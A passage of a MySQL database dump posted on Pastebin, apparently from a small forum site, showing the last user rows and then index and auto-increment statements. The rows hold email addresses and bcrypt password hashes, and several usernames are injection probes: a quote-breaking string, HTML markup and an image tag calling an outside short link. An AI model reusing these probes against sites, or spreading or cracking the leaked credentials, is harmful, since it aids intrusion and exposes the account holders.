  262. (26, 'brixster', 0, 'admin@brick-opolis.com', '$2y$10$Tn95uXF23vPZvDUr65UxOOGzzsKAUWtGfUzx.S/3Wwq8p7q8twU9C', '/assets/img/avatars/avatarclose/defaultclose.png', '/assets/img/avatars/avatarfar/defaultfar.png', '2019-07-17', 'male', 'user', 0, 5, '2019-07-23'),
  263. (27, '\'\"`', 0, '\'\"`', '$2y$10$oqtOeN1B0xuEmpNJsv6ss.C1sDfUEYY/WDOnv9RtMjzwW0pRj72/q', '/assets/img/avatars/avatarclose/defaultclose.png', '/assets/img/avatars/avatarfar/defaultfar.png', '2019-07-06', 'male', 'user', 0, 0, NULL),
  264. (28, '<span style=\"color:red\">Zay</span>', 0, '<span style=\"color:red\">Zay</span>', '$2y$10$j/fcjNSKi5E.W312DHXSXuCjOiAKnP3K3rdVVXNM.Ev4axlp8Kfw6', '/assets/img/avatars/avatarclose/defaultclose.png', '/assets/img/avatars/avatarfar/defaultfar.png', '2019-07-04', 'male', 'user', 0, 5, '2019-07-23'),
  265. (29, 'Brixster <img src=\"https://shorturl.at/qDS05\">', 0, 'Brixster <img src=\"https://shorturl.at/qDS05\">', '$2y$10$8JbHSP0mw8riMHeb6Qw4Au8Bipl8lxUdVRtktEt2fL/TpPIvZIggm', '/assets/img/avatars/avatarclose/defaultclose.png', '/assets/img/avatars/avatarfar/defaultfar.png', '2019-07-05', 'male', 'user', 0, 5, '2019-07-23'),
  266. (30, 'owo', 0, 'officialsouthbaylaw@gmail.com', '$2y$10$GInmXxcldn//jbI37lW9w.IbNdIm8p8B1A9tA7TQmvwtxYTsCvzQO', '/assets/img/avatars/avatarclose/defaultclose.png', '/assets/img/avatars/avatarfar/defaultfar.png', '2036-06-18', 'male', 'user', 0, 5, '2019-07-23');
  267.  
  268. --
  269. -- Indexes for dumped tables
  270. --
  271.  
  272. --
  273. -- Indexes for table `general`
  274. --
  275. ALTER TABLE `general`
  276.   ADD PRIMARY KEY (`id`);
  277.  
  278. --
  279. -- Indexes for table `main`
  280. --
  281. ALTER TABLE `main`
  282.   ADD PRIMARY KEY (`id`);
  283.  
  284. --
  285. -- Indexes for table `replies`
  286. --
  287. ALTER TABLE `replies`
  288.   ADD PRIMARY KEY (`id`);
  289.  
  290. --
  291. -- Indexes for table `status`
  292. --
  293. ALTER TABLE `status`
  294.   ADD PRIMARY KEY (`id`);
  295.  
  296. --
  297. -- Indexes for table `store`
  298. --
  299. ALTER TABLE `store`
  300.   ADD PRIMARY KEY (`id`);
  301.  
  302. --
  303. -- Indexes for table `topics`
  304. --
  305. ALTER TABLE `topics`
  306.   ADD PRIMARY KEY (`id`);
  307.  
  308. --
  309. -- Indexes for table `users`
  310. --
  311. ALTER TABLE `users`
  312.   ADD PRIMARY KEY (`id`);
  313.  
  314. --
  315. -- AUTO_INCREMENT for dumped tables
  316. --
  317.  
  318. --
  319. -- AUTO_INCREMENT for table `general`
  320. --
  321. ALTER TABLE `general`
  322.   MODIFY `id` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=2;
  323. --
  324. -- AUTO_INCREMENT for table `main`
  325. --
  326. ALTER TABLE `main`
  327.   MODIFY `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT;
  328. --
  329. -- AUTO_INCREMENT for table `replies`
  330. --
  331. ALTER TABLE `replies`
  332.   MODIFY `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT;
  333. --
  334. -- AUTO_INCREMENT for table `status`
  335. --
  336. ALTER TABLE `status`
  337.   MODIFY `id` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=78;
  338. --
  339. -- AUTO_INCREMENT for table `store`
  340. --
  341. ALTER TABLE `store`
  342.   MODIFY `id` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=3;
  343. --
  344. -- AUTO_INCREMENT for table `topics`
  345. --
  346. ALTER TABLE `topics`
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top